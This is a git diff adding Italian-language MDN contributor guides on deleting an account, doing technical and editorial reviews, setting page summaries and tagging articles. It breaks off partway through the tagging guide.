+<p>Nel caso decidessi di non voler più far parte di MDN, puoi richiedere la cancellazione del tuo profilo. Ciò nonostante, non possiamo cancellare alcuna tua revisione (modifiche alle pagine), e la nostra licenza del contenuto prevede che le tue modifiche abbiano una fonte. Se hai fatto delle modifiche, dovrai decidere di volerle attribuire al tuo nome utente, o ri-attribuirle ad "Anonimo".</p>
+
+<ol>
+ <li>Dopo aver eseguito l'accesso su MDN, clicca sul tuo profilo nella barra di navigazione in alto visibile in qualsiasi pagina. Si aprirà la tua pagina di profilo, mostrando tutte le informazioni su ciò a cui hai contribuito. Annota se le revisioni sono elencate in <strong>Attività Documenti Recenti</strong>.</li>
+ <li>Clicca su <strong>Modifica</strong>. Si apirà il modulo <strong>Modifica il tuo profilo</strong>.</li>
+ <li>Scorri fino alla fine del modulo e fai clic sul link "<strong>Elimina il tuo account</strong>". Si aprirà il modulo "<strong>Elimina il tuo profilo</strong>".</li>
+ <li>Seleziona una delle seguenti opzioni:
+  <ul>
+   <li><strong>Non ho fatto alcuna modifica, cancella il mio account</strong>. Scegli questa opzione se non c'era alcun elemento in <strong>Attività Documenti Recenti</strong>.</li>
+   <li><strong>Mantieni il mio nome utente come fonte per le mie modifiche, cancella il mio indirizzo email e sospendi il mio account, in modo che non possa più eseguire l'accesso.</strong>  Se scegli questa opzione, il tuo profilo verrà associato con le tue modifiche, ma non sarai più in grado di accedere a MDN. La tua pagina del profilo continuerà ad esistere, ma le informazioni personali verranno rimosse.</li>
+   <li><strong>Cambia la fonte delle mie modifiche in "Anonimo", e cancella il mio account</strong>. Se scegli questa opzione, tutte le modifiche da te eseguite verranno attribuite ad "Anonimo". Il tuo account e pagina del profilo verranno rimosse. Non ci sarà più alcuna associazione tra te e le tue modifiche.</li>
+  </ul>
+ </li>
+ <li>Fai clic su <strong>Segnala un Bug per Chiudere il tuo Account</strong>. Questa azione creerà un nuovo caso nel sistema di tracciamento dei problemi <a href="https://bugzilla.mozilla.org/enter_bug.cgi">Bugzilla</a> per la tua richiesta di cancellazione dell'account, con i campi Riepilogo e Descrizione precompilati in base al tuo nome utente e all'opzione che hai scelto. Questo passaggio è necessario perché un essere umano esaminerà la tua richiesta ed eseguirà le azioni necessarie.</li>
+ <li>Devi accedere a Bugzilla per inviare la richiesta. Se non hai un account Bugzilla, dovrai crearne uno.</li>
+ <li>Fare clic su Invia bug per inviare la richiesta. Quando la tua richiesta è stata gestita, riceverai una notifica da Bugzilla all'indirizzo email che hai utilizzato per accedere a Bugzilla.</li>
+</ol>
diff --git a/files/it/mdn/contribute/howto/do_a_technical_review/index.html b/files/it/mdn/contribute/howto/do_a_technical_review/index.html
new file mode 100644
index 0000000000..31f0885a09
--- /dev/null
+++ b/files/it/mdn/contribute/howto/do_a_technical_review/index.html
@@ -0,0 +1,50 @@
+---
+title: Come effettuare una revisione tecnica
+slug: MDN/Contribute/Howto/Do_a_technical_review
+translation_of: MDN/Contribute/Howto/Do_a_technical_review
+---
+<div>{{MDNSidebar}}</div><p class="summary"><strong>La revisione tecnica consiste nel controllo dell'accuratezza tecnica e della completezza di un articolo e, se necessario, nella sua correzione</strong>. Se chi scrive un articolo desidera che qualcun altro verifichi il contenuto tecnico di un articolo, può segnalarlo attivando l'opzione "Revisione tecnica" durante la modifica di una pagina. A volte chi scrive contatta un ingegnere specifico affinché effettui la revisione tecnica, ma chiunque abbia esperienza tecnica può farlo.</p>
+<p><span class="seoSummary">Questo articolo spiega come effettuare una revisione tecnica, permettendo così di mantenere corretto il contenuto di MDN.</span></p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td><strong>In cosa consiste?</strong></td>
+   <td>Revisionare e correggere gli articoli per assicurarsi che siano tecnicamente corretti e completi</td>
+  </tr>
+  <tr>
+   <td><strong>Dove è necessaria?</strong></td>
+   <td>In articoli specifici che sono contrassegnati per essere sottoposti a una <a href="/it/docs/needs-review/technical">revisione tecnica</a>.</td>
+  </tr>
+  <tr>
+   <td><strong>Cosa hai bisogno di sapere per completare l'operazione?</strong></td>
+   <td>
+    <ul>
+     <li>Conoscenza da esperto sull'argomento dell'articolo che stai revisionando.</li>
+     <li>Capacità di modificare un articolo wiki su MDN.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>Quali sono i passi necessari?</strong></td>
+   <td>
+    <ol>
+     <li>Scegli un articolo da revisionare
+      <ol>
+       <li>Visita l'elenco delle pagine che necessitano di <a href="/it/docs/needs-review/technical">revisioni tecniche</a>. Questo contiene tutte le pagine per le quali è stata richiesta una revisione tecnica.</li>
+       <li>Scegli una pagina che tratta di un argomento con cui hai familiarità.</li>
+       <li>Fai clic sul link dell'articolo per caricare la pagina.</li>
+      </ol>
+     </li>
+     <li>Al termine del caricamento della pagina, fai clic sul pulsante <strong>MODIFICA</strong> in alto a sinistra; verrà aperto l'<a href="/it/docs/MDN/Contribute/Editor">editor di MDN</a>. Non esitare a cambiare pagina se la prima che hai scelto non ti è congeniale.</li>
+     <li>Man mano che leggi l'articolo, sistema qualsiasi informazione errata e aggiungi le parti importanti mancanti.</li>
+     <li>Inserisci un <strong>Commento per la revisione</strong> nell'apposito campo in fondo alla pagina, ad esempio <em>'Revisione tecnica completata'</em>. Se hai corretto qualche informazione, includi le modifiche effettuate nel commento, ad esempio <em>'Revisione tecnica: corrette le descrizioni dei parametri'.</em></li>
+     <li>Fai clic sul pulsante <strong>SALVA MODIFICHE</strong>.</li>
+     <li>Alla chiusura dell'editor, quando l'articolo a cui sono state apportate le correzioni verrà visualizzato sullo schermo, spunta la voce <strong>Tecnica </strong>a lato (nel riquadro <strong>Sono state richieste le seguenti revisioni</strong>) e fai clic su <strong>CARICA REVISIONE</strong>.</li>
+     <li>Congratulazioni! Hai concluso la revisione!</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><br>
+  </p>
diff --git a/files/it/mdn/contribute/howto/do_an_editorial_review/index.html b/files/it/mdn/contribute/howto/do_an_editorial_review/index.html
new file mode 100644
index 0000000000..7bfc4bf759
--- /dev/null
+++ b/files/it/mdn/contribute/howto/do_an_editorial_review/index.html
@@ -0,0 +1,46 @@
+---
+title: Come effettuare una revisione editoriale
+slug: MDN/Contribute/Howto/Do_an_editorial_review
+translation_of: MDN/Contribute/Howto/Do_an_editorial_review
+---
+<div>{{MDNSidebar}}</div><p class="summary"><strong>Una revisione editoriale consiste nel sistemare</strong> errori di digitazione, grammatica, utilizzo, ortografia in un articolo. Non tutti i collaboratori sono traduttori esperti, ma data la loro conoscenza hanno scritto articoli estremamente utili, che necessitano di revisioni e correzioni; questo è lo scopo della revisione editoriale.</p>
+<p><span class="seoSummary">Questo articolo descrive come eseguire una revisione editoriale, così da accertarsi che il contenuto di MDN sia accurato.</span></p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td><strong>In che cosa consiste?</strong></td>
+   <td>In una revisione e correzione di articoli per i quali è richiesta una revisione editoriale.</td>
+  </tr>
+  <tr>
+   <td><strong>Quando è necessaria?</strong></td>
+   <td>In articoli specifici che sono contrassegnati per essere sottoposti a una revisione editoriale.</td>
+  </tr>
+  <tr>
+   <td><strong>Cosa hai bisogno di sapere per completare l'operazione?</strong></td>
+   <td>Ti serve avere una buona conoscenza della grammatica e del lessico della lingua in questione.</td>
+  </tr>
+  <tr>
+   <td><strong>Quali sono i passi necessari?</strong></td>
+   <td>
+    <ol>
+     <li>Scegli un articolo da revisionare:
+      <ol>
+       <li>Visita l'elenco delle pagine che necessitano di revisione editoriale. Questo contiene tutte le pagine per le quali è stata richiesta una revisione editoriale.</li>
+       <li>Scegli una pagina che possiede un titolo nella lingua in questione e il cui indirizzo non inizia con Template:<code>.</code></li>
+       <li>Fai clic sul collegamento per caricare la pagina.</li>
+      </ol>
+     </li>
+     <li>Al termine del caricamento della pagina, fai clic sul pulsante <strong>MODIFICA</strong> in alto a sinistra; verrà aperto l'<a class="new" href="https://developer.mozilla.org/it/docs/MDN/Contribute/Editor">editor di MDN</a>. Non esitare a cambiare pagina se la prima che hai scelto non ti è congeniale.</li>
+     <li>Correggi tutti gli errori di digitazione, grammatica, utilizzo che trovi.</li>
+     <li>Inserisci un <strong>Commento per la revisione</strong> nell'apposito campo in fondo alla pagina, ad esempio <em>'Revisione editoriale completata:</em><em> sistemati errori digitazione, grammatica e ortografia'.</em></li>
+     <li>Fai clic sul pulsante <strong>SALVA MODIFICHE</strong>.</li>
+     <li>Alla chiusura dell'editor, quando l'articolo a cui sono state apportate le correzioni verrà visualizzato sullo schermo, spunta la voce <strong>Editoriale </strong>a lato (nel riquadro <strong>Sono state richieste le seguenti revisioni</strong>) e fai clic su <strong>CARICA REVISIONE</strong>.</li>
+     <li>
+      <p>Congratulazioni! Hai concluso la revisione!</p>
+     </li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/it/mdn/contribute/howto/impostare_il_riassunto_di_una_pagina/index.html b/files/it/mdn/contribute/howto/impostare_il_riassunto_di_una_pagina/index.html
new file mode 100644
index 0000000000..ba8df38979
--- /dev/null
+++ b/files/it/mdn/contribute/howto/impostare_il_riassunto_di_una_pagina/index.html
@@ -0,0 +1,57 @@
+---
+title: Come impostare il riassunto di una pagina
+slug: MDN/Contribute/Howto/impostare_il_riassunto_di_una_pagina
+tags:
+  - Community
+  - Documentazione
+  - Guida
+  - MDN
+  - Riassunto Pagina
+translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page
+---
+<div>{{MDNSidebar}}</div><p><span class="seoSummary">Il riassunto di una pagina di MDN è definito in modo da essere utilizzabile in vari ambiti, tra cui i risultati dei motori di ricerca, in altre pagine di MDN, come ad esempio nelle landing pages relative a diversi argomenti, e nei tooltips. Deve essere quindi un testo che conservi il proprio significato sia nel contesto della propria pagina, sia quando si trova in contesti differenti, privato dei contenuti della pagina di origine</span>.</p>
+<p>Un riassunto può essere identificato esplicitamente all'interno della pagina. In caso contrario, si utilizza in genere la prima frase, il che non sempre si rivela la scelta più adatta per raggiungere lo scopo prefissato.</p>
+<table class="full-width-table">
+ <tbody>
+  <tr>
+   <td><strong>Qual è il tuo compito?</strong></td>
+   <td>Evidenziare la parte di testo all' interno della pagina che, a tuo parere, dovrebbe essere utilizzata come riassunto della pagina nei vari contesti; questo compito richiede talvolta la scrittura di un testo appropriato, là dove ve ne sia necessità.</td>
+  </tr>
+  <tr>
+   <td><strong>Dove c'è bisogno del tuo intervento?</strong></td>
+   <td>In quelle pagine che non hanno riassunto o ne presentano uno di scarsa qualità.</td>
+  </tr>
+  <tr>
+   <td><strong>Di cosa hai bisogno per portare a termine la tua missione?</strong></td>
+   <td>Conoscenza dell' editor testi di MDN; buone capacità di scrittura in lingua inglese; sufficiente familiarità con l'argomento della pagina in questione, al fine di poterne scrivere un valido riassunto.</td>
+  </tr>
+  <tr>
+   <td><strong>Le tappe del tuo lavoro:</strong></td>
+   <td>
+    <ol>
+     <li>Scegli una pagina di cui fare il riassunto:
+      <ol>
+       <li>Nella pagina <a href="/en-US/docs/MDN/Doc_status">MDN documentation status</a>, sotto <strong>Sections</strong>, seleziona l'argomento che meglio conosci (ad esempio HTML):<br>
+        <img alt="" height="130" src="https://mdn.mozillademos.org/files/8681/sections.png" width="504"></li>
+       <li>Nella pagina dello stato di documentazione dell'argomento scelto, clicca sulla casella <strong>Pages</strong> della tabella <strong>Summary</strong>. Si aprirà un indice di tutte le pagine di quell'argomento; nella colonna di sinistra troverai i links delle pagine, in quella di destra i tags e i riassunti:<br>
+        <img alt="" height="82" src="https://mdn.mozillademos.org/files/8675/pages.png" width="361"></li>
+       <li>Scegli una pagina senza riassunto o con un riassunto mediocre:<br>
+        <img alt="" height="38" src="https://mdn.mozillademos.org/files/8677/summary.png" width="296"></li>
+       <li>Clicca il link per aprire quella pagina.</li>
+      </ol>
+     </li>
+     <li>Clicca su <strong>Edit</strong> per aprire la pagina nell'editor testi di MDN.</li>
+     <li>Cerca una o due frasi adatte per un riassunto, o, all'occorrenza, creane di nuove o modificane di esistenti allo scopo di creare un buon riassunto.</li>
+     <li>Seleziona il testo da utilizzare come riassunto</li>
+     <li>Nello <em>Styles</em> widget della barra degli strumenti di editor, seleziona <strong>SEO Summary</strong>. (Si crea così un elemento {{HTMLElement("span")}} nella page source con <code>class="seoSummary"</code> attorno al testo prescelto.)
+      <p><img alt="" height="231" src="https://mdn.mozillademos.org/files/8679/styles.png" width="403"></p>
+     </li>
+     <li>Salva le modifiche con un commento di revisione del tipo "riassunto pagina".</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
+<p> </p>
+<p> </p>
diff --git a/files/it/mdn/contribute/howto/index.html b/files/it/mdn/contribute/howto/index.html
new file mode 100644
index 0000000000..129865db8b
--- /dev/null
+++ b/files/it/mdn/contribute/howto/index.html
@@ -0,0 +1,16 @@
+---
+title: Guide come fare per
+slug: MDN/Contribute/Howto
+tags:
+  - Documentation
+  - Landing
+  - MDN
+  - NeedsTranslation
+  - TopicStub
+translation_of: MDN/Contribute/Howto
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/it/docs/MDN")}}</div>
+
+<p>Questi articoli forniscono una guida passo passo per raggiugnere specifici obiettivi quando si contribuisce a MDN.</p>
+
+ <p>{{LandingPageListSubpages}}</p>
diff --git a/files/it/mdn/contribute/howto/tag/index.html b/files/it/mdn/contribute/howto/tag/index.html
new file mode 100644
index 0000000000..e518fc0c96
--- /dev/null
+++ b/files/it/mdn/contribute/howto/tag/index.html
@@ -0,0 +1,380 @@
+---
+title: Usare correttamente i tag
+slug: MDN/Contribute/Howto/Tag
+tags:
+  - Beginner
+  - Contribute
+  - Glossary
+  - Guide
+  - Howto
+  - Intro
+  - MDN Meta
+  - Tutorial
+translation_of: MDN/Contribute/Howto/Tag
+---
+<div>{{MDNSidebar}}</div>
+
+<p class="summary">I <strong>tag associati agli articoli</strong> sono uno strumento fondamentale per permettere ai visitatori di accedere a contenuti rilevanti. Normalmente, ogni pagina dovrebbe essere associata a più tag, che contribuiscono a mantenere i contenuti organizzati. <span class="seoSummary">Questa pagina spiega come ottimizzare l'uso dei tag per facilitare i lettori nella ricerca e agevolare i gestori nell'organizzazione e mantenimento dei contenuti.</span></p>
+
+<p>Per informazioni su come modificare i tag dall'interfaccia utente, consulta la <a href="/en-US/docs/MDN/Contribute/Editor/Basics#The_tags_box">sezione sui tag</a> della guida all'editor di testo di MDN.</p>
+
+<p>È importante utilizzare i tag secondo queste regole, altrimenti gli automatismi non saranno in grado di generare liste di contenuti, landing page e link incrociati tra i vari articoli.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Nota per i traduttori e i localizzatori:</strong> <em>non</em> tradurre nessuno dei tag elencati in questa pagina. Sono necessari per scopi specifici, come ad esempio operazioni di gestione del sito ed elaborazione automatica di dati. Tali processi non funzionano con tag tradotti.</p>
+</div>
+
+<h2 id="Uso_dei_tag_in_MDN">Uso dei tag in MDN</h2>
+
+<p>In MDN i tag vengono utilizzati in diversi modi:</p>
+
+<dl>
+ <dt>{{anch("Categoria documento")}}</dt>
+ <dd>Di che tipo di documento si tratta? È un materiale di consultazione? Un tutorial? Una landing page? Si tratta di una categoria di tag fondamentali, che i lettori possono utilizzare per filtrare le ricerche.</dd>
+ <dt>{{anch("Argomento")}}</dt>
+<dd>Qual è l'argomento dell'articolo? Parla di API? Oppure di DOM? O di grafica? Questi tag, al pari dei precedenti, hanno un ruolo fondamentale nel filtrare i risultati di ricerca.</dd>
+ <dt>{{anch("Identificazione API")}}</dt>
+<dd>Ogni pagina di consultazione di un'API deve essere associata a un tag che identifichi lo specifico componente trattato (ovvero l'interfaccia di cui fa parte e, dove applicabile, la proprietà o metodo).</dd>
+ <dt>{{anch("Stato tecnologia")}}</dt>
+ <dd>Qual è lo stato dell'arte della tecnologia trattata? Non è riconosciuta come standard? È obsoleta o deprecata? Oppure sperimentale?</dd>
+ <dt>{{anch("Livello di competenza")}}</dt>
+ <dd>Applicabile a tutorial e guide: quanto è avanzata la materia di cui tratta l'articolo?</dd>
+ <dt>{{anch("Metadati del documento")}}</dt>
+ <dd>Chi scrive e gestisce i contenuti usa questi tag per tenere traccia del tipo di interventi da effettuare sulle pagine.</dd>
+</dl>
+
+<h2 id="Guida_ai_tipi_di_tag">Guida ai tipi di tag</h2>
+
+<p>Segue una breve guida ai tipi di tag utilizzati su MDN e i loro significati.</p>
+
+<h3 id="Categoria_documento">Categoria documento</h3>
+
+<p>I tag di categoria, associati a un articolo, facilitano la generazione automatica di landing page, indici e via dicendo. Inoltre, nel nuovo sistema di ricerca, questi termini possono essere usati anche dagli utenti per trovare materiali di consultazione e guide pertinenti.</p>
+
+<p>Ecco i tag che identificano le categorie:</p>
+
+<dl>
+ <dt><code>{{Tag("Intro")}}</code></dt>
+ <dd>"Introduzione". L'articolo tratta di contenuti introduttivi su un argomento. Come regola generale, ciascuna area tecnologica dovrebbe disporre di un unico tag "Intro".</dd>
+ <dt><code>{{Tag("Reference")}}</code></dt>
+ <dd>"Consultazione". L'articolo contiene materiali di consultazione su un'API, un elemento, un attributo, una proprietà o simili.</dd>
+ <dt><code>{{Tag("Landing")}}</code></dt>
+ <dd>Indica che la pagina in questione è una landing page, la pagina iniziale di un dato argomento.</dd>
+ <dt><code>{{Tag("Guide")}}</code></dt>
+ <dd>"Guida". L'articolo consiste in una pagina contenente una guida o una procedura guidata.</dd>
+ <dt><code>{{Tag("Example")}}</code></dt>
+ <dd>"Esempio". L'articolo contiene un codice di esempio, oppure campioni di codice (ovvero non semplici esempi di sintassi da una riga, bensì frammenti di codice che possono essere riutilizzati).</dd>
+</dl>
+
+<h3 id="Argomento">Argomento</h3>
+
+<p>I tag che identificano l'argomento di un articolo consentono di ottenere risultati di ricerca più pertinenti. Inoltre, facilitano la navigazione e l'individuazione di landing page.</p>
+
+<p>Pur trattandosi di una categoria che può espandersi mano a mano che vengono identificati nuovi argomenti, cerchiamo di limitare i tag ai nomi di API o tecnologie. Alcuni esempi pratici:</p>
+
+<ul>
+ <li><code>{{Tag("HTML")}}</code></li>
+ <li><code>{{Tag("CSS")}}</code></li>
+ <li><code>{{Tag("JavaScript")}}</code> (notare la "S" maiuscola)</li>
+ <li><code>{{Tag("Document")}}</code>, "documento"</li>
+ <li><code>{{Tag("DOM")}}</code></li>
+ <li><code>{{Tag("API")}}</code> che identifica l'articolo introduttivo, l'interfaccia, i metodi e le proprietà di ciascuna API.</li>
+ <li><code>{{Tag("Method")}}</code>, "metodo", per ciascun metodo di un'API.</li>
+ <li><code>{{Tag("Property")}}</code>, "proprietà", per ciascuna proprietà di un'API.</li>
+ <li><code>{{Tag("Graphics")}}</code>, "grafica"</li>
+ <li><code>{{Tag("SVG")}}</code></li>
+ <li><code>{{Tag("WebGL")}}</code></li>
+ <li><code>{{Tag("Tools")}}</code>, "strumenti"</li>
+ <li><code>{{Tag("Web")}}</code></li>
+ <li><code>{{Tag("Element")}}</code>, "elemento"</li>
+ <li><code>{{Tag("Extensions")}}</code>,"estensioni" e <code>{{Tag("WebExtensions")}}</code> per la documentazione su WebExtension.</li>
+</ul>
+
+<p>In linea generale, i tag di argomento sono nomi di un'interfaccia associati a diverse pagine rilevanti (per esempio, <a href="it/docs/Web/API/Node">Node</a> è associato a diverse pagine perché possiede molteplici proprietà e metodi), o nomi che indicano un complesso di tecnologie. Ad esempio, una pagina che parla di WebGL potrebbe essere associata ai tag <code>Graphics</code> e <code>WebGL</code>, mentre una pagina che tratta dell'elemento {{HTMLElement("canvas")}} ai tag <code>HTML</code>, <code>Element</code>, <code>Canvas</code> e <code>Graphics</code>.</p>
+
+<h4 id="Contenuti_Mozilla">Contenuti Mozilla</h4>
+
+<p>I seguenti tag sono associati esclusivamente a contenuti specifici di Mozilla:</p>
+
+<ul>
+ <li><code>{{Tag("Mozilla")}}</code></li>
+ <li><code>{{Tag("Firefox")}}</code></li>
+ <li><code>{{Tag("Gecko")}}</code></li>
+ <li><code>{{Tag("XUL")}}</code></li>
+ <li><code>{{Tag("XPCOM")}}</code></li>
+</ul>
+
+<h3 id="Identificazione_API">Identificazione API</h3>
+
+<p>All'interno del materiale di consultazione delle API, ciascun articolo dovrebbe essere associato a un tag che identifichi la specifica parte dell'API trattata:</p>
+
+<dl>
+ <dt><code>{{tag("Interface")}}</code></dt>
+ <dd>"Interfaccia". Il tag da associare all'articolo principale dell'interfaccia. Esempio: {{DOMxRef("RTCPeerConnection")}}.</dd>
+ <dt><code>{{tag("Constructor")}}</code></dt>
+ <dd>"Costruttore". Ciascuna interfaccia può contenere fino a una pagina con tag "Constructor", ovvero il costruttore dell'interfaccia. Il titolo della pagina deve corrispondere al nome dell'interfaccia. Esempio: {{DOMxRef("RTCPeerConnection.RTCPeerConnection()", "RTCPeerConnection()")}}.</dd>
+ <dt><code>{{tag("Property")}}</code></dt>
+ <dd>"Proprietà". Questo tag va associato a ciascun articolo che descrive una proprietà specifica all'interno dell'interfaccia. Esempio: {{DOMxRef("RTCPeerConnection.connectionState")}}</dd>
+ <dt><code>{{tag("Method")}}</code></dt>
+ <dd>"Metodo". Questo tag va associato a ciascun articolo che descrive un metodo dell'interfaccia. Esempio: {{DOMxRef("RTCPeerConnection.createOffer()")}}</dd>
+</dl>
+
+<p>In aggiunta, le pagine di consultazione devono includere tra i tag i nomi di interfaccia, proprietà e metodo. Alcuni esempi:</p>
+
+<dl>
+ <dt>L'interfaccia {{DOMxRef("RTCPeerConnection")}}</dt>
+ <dd>include il tag <code>{{Tag("RTCPeerConnection")}}</code> in aggiunta ad altri tag rilevanti come <code>{{Tag("Interface")}}</code>, <code>{{Tag("WebRTC")}}</code>, <code>{{Tag("WebRTC API")}}</code>, <code>{{Tag("API")}}</code>, <code>{{Tag("Reference")}}</code> ecc.</dd>
+ <dt>Il metodo {{DOMxRef("RTCPeerConnection.createOffer()")}}</dt>
+ <dd>include i tag <code>{{Tag("RTCPeerConnection")}}</code> e <code>{{Tag("createOffer")}}</code> (attenzione: <em>non</em> inserire parentesi all'interno dei nomi dei tag!) in aggiunta ad altri tag rilevanti come <code>{{Tag("Method")}}</code>, <code>{{Tag("WebRTC")}}</code>, <code>{{Tag("WebRTC API")}}</code>, <code>{{Tag("API")}}</code>, <code>{{Tag("Reference")}}</code>, ecc. Qui è anche possibile aggiungere anche altri tag rilevanti come <code>{{Tag("Offer")}}</code> e <code>{{Tag("SDP")}}</code>.</dd>
+ <dt>La proprietà {{DOMxRef("RTCPeerConnection.iceConnectionState")}}</dt>
+ <dd>include i tag <code>{{Tag("RTCPeerConnection")}}</code> e <code>{{Tag("iceConnectionState")}}</code> in aggiunta ad altri tag rilevanti come <code>{{Tag("Property")}}</code>, <code>{{Tag("WebRTC")}}</code>, <code>{{Tag("WebRTC API")}}</code>, <code>{{Tag("API")}}</code> e <code>{{Tag("Reference")}}</code>. È possibile aggiungere anche il tag <code>{{Tag("ICE")}}</code>.</dd>
+</dl>
+
+<h3 id="Stato_tecnologia">Stato tecnologia</h3>
+
+<p>I seguenti tag identificano lo stato dell'arte delle specifiche tecnologiche. Aiutano il lettore a farsi un'idea di quanto praticabile sia una particolare tecnologia. Il tag non spiega in dettaglio il tipo e i progressi della tecnologia nel processo di specificazione (per questo scopo c'è la tabella delle specifiche), ma aiuta il lettore a giudicare a colpo d'occhio quanto convenga utilizzare la tecnologia descritta nell'articolo.</p>
+
+<p>Di seguito, i possibili valori per questa categoria di tag:</p>
+
+<dl>
+ <dt><code>{{Tag("Read-only")}}</code></dt>
+ <dd>"Sola lettura". Il tag da applicare alle pagine di consultazione, che descrivono una proprietà o un attributo di sola lettura.</dd>
+ <dt><code>{{Tag("Non-standard")}}</code></dt>
+ <dd>"Non standardizzata". Indica che la tecnologia o l'API descritta sulla pagina non rientra in alcuno standard, indipendentemente dalla sua stabilità nei browser che la implementano (se è instabile, va aggiunto anche il tag {{Tag("Experimental")}}). In assenza di questo tag, il lettore presumerà che quella descritta sia una tecnologia standard. La pagina deve inoltre contenere una tabella di compatibilità con l'elenco dei browser che supportano l'API o la tecnologia trattata.</dd>
+ <dt><code>{{Tag("Deprecated")}}</code></dt>
+ <dd>"Deprecata". Quando la tecnologia o API trattata nella pagina è segnalata come "deprecata", è probabile che cada in disuso, anche se per il momento è ancora disponibile nelle versioni più recenti dei browser.</dd>
+ <dt><code>{{Tag("Obsolete")}}</code></dt>
+ <dd>"Obsoleta". La tecnologia o API trattata è ormai ritenuta obsoleta, dunque è stata rimossa (o è in corso di rimozione) da tutti gli attuali browser, o quasi.</dd>
+ <dt><code>{{Tag("Experimental")}}</code></dt>
+ <dd>"Sperimentale". La pagina tratta di una tecnologia non ancora standardizzata, dunque sperimentale, oppure di un'API che potrebbe o meno diventare parte di uno standard. È inoltre soggetta alle modifiche nel motore del browser che la implementa (di solito si tratta di un singolo browser). Se tale tecnologia non fa parte di alcuna specifica (neanche in forma di bozza), deve essere associata anche al tag {{tag("Non-standard")}}.</dd>
+ <dt><code>{{Tag("Needs Privileges")}}</code></dt>
+ <dd>"Richiede privilegi". L'API trattata richiede privilegi di accesso al dispositivo su cui si esegue il codice.</dd>
+ <dt><code>{{Tag("Certified Only")}}</code></dt>
+ <dd>"Solo certificato". L'API trattata funziona solo con codice certificato.</dd>
+</dl>
+
+<p>I tag precedenti non sostituiscono la <a href="/it/docs/MDN/Contribute/Structures/Tabelle_compatibilità">tabella di compatibilità</a>, che deve essere sempre presente nell'articolo.</p>
+
+<h3 id="Livello_di_competenza">Livello di competenza</h3>
+
+<p>I tag che indicano il livello di competenza vanno applicati unicamente a guide e tutorial (ovvero, alle pagine con tag <code>Guide</code>). Aiutano l'utente a scegliere un tutorial in base alla propria conoscenza di una data tecnologia. Questa categoria ha tre valori:</p>
+
+<dl>
+ <dt><code>{{Tag("Beginner")}}</code></dt>
+ <dd>"Principiante". Articoli concepiti per presentare una tecnologia a chi non l'ha mai utilizzata o la conosce solo superficialmente.</dd>
+ <dt><code>{{Tag("Intermediate")}}</code></dt>
+ <dd>"Intermedio". Articoli destinati a utenti che hanno già iniziato a utilizzare la tecnologia trattata, ma non ne sono ancora esperti.</dd>
+ <dt><code>{{Tag("Advanced")}}</code></dt>
+ <dd>"Avanzato". Articoli che approfondiscono le possibilità della tecnologia trattata e mettono alla prova le competenze dell'utente.</dd>
+</dl>
+
+<h3 id="Metadati_del_documento">Metadati del documento</h3>
+
+<p>La comunità dei creatori di contenuti usa i tag per contrassegnare gli articoli che richiedono interventi di tipo specifico. Di seguito, una lista dei più utilizzati:</p>
+
+<dl>
+ <dt><code>{{Tag("Draft")}}</code></dt>
+ <dd>"Bozza". L'articolo non è ancora completo. In teoria, significa che è in fase di aggiornamento, ma potrebbe trattarsi anche di un articolo abbandonato. Prima di eseguire qualsiasi modifica, è buona norma contattare i collaboratori che hanno lavorato all'ultima bozza dell'articolo, al fine di evitare possibili conflitti di contenuto.</dd>
+ <dt><code>{{Tag("NeedsCompatTable")}}</code></dt>
+ <dd>"Richiede tabella compatibilità". Occorre aggiungere all'articolo una tabella che specifichi la compatibilità della funzione trattata con i vari browser. Vedi anche la <a href="/it/docs/MDN/Contribute/Structures/Tabelle_compatibilità">guida</a> per collaborare alla compilazione di una tabella di compatibilità dei browser.</dd>
+ <dt><code>{{Tag("NeedsContent")}}</code></dt>
+ <dd>"Richiede contenuti". L'articolo è solo un abbozzo, oppure contiene informazioni incomplete. Questo tag indica che è richiesto un revisore per controllare la correttezza dei contenuti, aggiungere ulteriori informazioni e/o completare la stesura dell'articolo.</dd>
+ <dt><code>{{Tag("NeedsExample")}}</code></dt>
+ <dd>"Richiede esempio". L'articolo necessita di uno o più esempi che chiariscano i concetti illustrati. Tali esempi devono utilizzare il <a href="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples">sistema di codice esempio live</a>.</dd>
+ <dt><code>{{Tag("NeedsLiveSamples")}}</code></dt>
+ <dd>"Richiede esempi live". L'articolo contiene uno o più esempi che devono essere aggiornati al <a href="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples">sistema di codice esempio live</a>.</dd>
+ <dt><code>{{Tag("NeedsMarkupWork")}}</code></dt>
+ <dd>"Richiede formattazione". Il codice di markup che costituisce la formattazione dell'articolo deve essere ottimizzato (solitamente perché l'articolo è formattato solo o quasi da tag generici tipo {{HTMLElement("p")}}).</dd>
+ <dt><code>{{Tag("NeedsSpecTable")}}</code></dt>
+ <dd>"Richiede tabella specifiche". Occorre aggiungere all'articolo una tabella che documenti le specifiche della funzione trattata.</dd>
+ <dt><code>{{Tag("NeedsUpdate")}}</code></dt>
+ <dd>"Richiede aggiornamento". Occorre aggiornare i contenuti dell'articolo con informazioni più recenti.</dd>
+ <dt><code>{{Tag("l10n:exclude")}}</code></dt>
+ <dd>"Escluso da localizzazione". Non vale la pena localizzare questo contenuto, dunque verrà escluso dalle pagine di stato della localizzazione.</dd>
+ <dt><code>{{Tag("l10n:priority")}}</code></dt>
+ <dd>"Priorità localizzazione". Questo contenuto è importante, i traduttori di MDN dovrebbero dargli la priorità rispetto ad altri articoli. Questo tag viene visualizzato in una tabella delle priorità a parte nelle pagine di stato della localizzazione.</dd>
+</dl>
+
+<h2 id="Combinare_i_vari_tag">Combinare i vari tag</h2>
+
+<p>Abbiamo visto che a ogni pagina vanno assegnati più tag di diverse categorie, per esempio:</p>
+
+<dl>
+ <dt>Un tutorial per principianti su WebGL</dt>
+ <dd>comprende i tag {{Tag("WebGL")}}, {{Tag("Graphics")}}, {{Tag("Guide")}}, {{Tag("Beginner")}}</dd>
+ <dt>La pagina di consultazione dell'elemento {{HTMLElement("canvas")}}</dt>
